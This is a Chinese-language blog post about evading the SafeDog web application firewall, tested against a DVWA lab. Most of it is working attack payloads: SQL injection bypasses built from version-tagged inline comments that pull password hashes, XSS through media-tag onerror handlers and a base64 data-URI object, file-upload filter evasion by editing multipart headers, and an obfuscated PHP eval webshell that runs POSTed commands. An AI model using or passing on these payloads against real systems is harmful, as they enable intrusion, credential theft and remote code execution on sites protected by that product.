几种绕过安全狗的姿势

————背景说明————

想起之前safedog面试官问我怎么绕过他们的产品,我说不知道。今天想起来就整整他们的waf耍,顺便纪念一下自己认怂的一次面试经历。

背景讲完了,ok,这里安全狗用的是apachev3.5版本,服务器用的是phpstudy2016,页面用的是dvwa。

————SQL注入————

首先是单引号判断,它是不检测的,正常报错,加两个就闭合没事

 

 这是个字符型的,接下来试一下and 和 or 语句

1' and '1'='1,安全狗进行了拦截

 

 

试了下单独的and发现是不拦截的,应该是and后面加数字或者字符的表达式会被匹配拦截

那么试着讲and 修改为&&,发现&&加1=1这些一样是被拦截的

但是1=1和1=2本质便是true,false,而&& true这样在语法上是可以的

那么用1' && true #和1' && false # 成功绕过了狗

1' && false # 因为语句是false,所以没有信息,这里不截图了

字符型的话也可以通过浮点数 1.0and 1=1 来绕过对and的检测

 

与and类似,or可以用||代替

 

(除了||,也可以用看看xor)

 

接下来试一下order,网上有说,用内联注释是可以绕过的

我这里用了简单的payload了一下1'/*!order*//*!by*/1 # 

这里是会被拦截的,这就很尴尬了

不过这里可以构建内联注释和注释,双注释进行绕过,比如:

' /*!order/*!/*/**/by*/ 3#

 

 

union就有点难搞了,其实也不是union,就union+select

union不处理没啥事,select不处理安全狗会帮你处理的

这里网上看了下有/*!50000union/*!*//*!50000select/*!*/这样通过版本号绕过

但是我试了一下,50000这个不太ok,会被拦截的

可是当然不是只有50000这个鸭,根据服务器版本,我这是5.5的

所以到55000中某些应该没有被拦截

随便用了下44111,发现是可以的,用其他的应该也可以

 然后查个用户啥的,这里user()被拦截了,可以用同样的方法把user和()分别利用

1' /*!44111union*/ /*!44111select*/ 1, /*!44111user*//*!44111()*/#

其他懒得写了,到这里就简单了,反复检查了好几遍以为自己把狗关了

1' /*!44111union*/ /*!44111select*/ 1,(/*!44111select*//*!44111password*//*!44111from*//*!44111users*/limit 0,1)#

————XSS————

试了一下 <script>alert('1')</script>

 

 不出意料,当当当当,被狗拦截了

但是试了一下发现alert('1')拦截,但是alert(1)不拦截

 

 应该是判断了alert内部是否插入' ' 及内容,毕竟弹窗一个数字1没啥意义

同时看了看prompt是都可以

 

那么除了内容拦截,试了试标签,原来<script>也被拦截了

试了一下其他标签,看哪些不被拦截

发现<vedio>和<audio>可以,那么可以构建一个基于错误的弹窗

<audio src=1 onerror=prompt('xss');>

或<video src=1 onerror=prompt('xss');>

因为src=1存在错误所以会执行prompt

然后还有<button>没有被过滤

<button>可以创建一个按钮然后点击发生onclick事件

<button/onclick=prompt(xss) >button</button>

最后还有个<obeject>,利用标签格式,进行编码绕过,这甚至实现了alert('xss')

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

 

除了以上这些,应该还有其他标签可以进行绕过,自行尝试

————文件上传————

绕后缀检测,正常上传一个php的话,会被拦截

我还试了下截断发现是不行的,那就抓包改咯

把filename=“”改成filename=;

成功上传

把filename那一行的from-data删了

成功上传

把content-type行删了

 

 

 

成功上传

 Content-Disposition随意大小写

成功上传

 

 不过上传的网马访问的时候又做了一次拦截

 

如何绕过,先从大马开始

思路是把大马的内容写入txt中,然后再建一个php内部包含txt

这里上传的php重新写的一个,dvwa的懒得改txt限制了

一开始传了过狗的大马没注意,以为狗不会拦大马

重新绕后缀限制传一个一般的

然后访问马,会被拦截

安全狗的日志显示是常见木马

 

接下来把刚刚大马改成txt,然后php包含

 

 然后分别上传

 

 

 

 然后访问php,发现狗不拦截了

 

乱码问题自己调一下就行

 

再来是一句话,其实就是混淆一下就行

先传个过狗一句话,主要就赋值混淆一下

<?php $a=$_POST['cmd']; $b=&$a; eval($b);?>

(其他的还有很多,自行百度或者自己写) 

然后访问一下,发现狗不拦截了

 

密码是cmd很明显了,直接post命令即可

 

 

 

 

 

 

 

 ————结束撒花————

posted @ 2020-06-17 03:05  hguone  阅读(582)  评论(0编辑  收藏  举报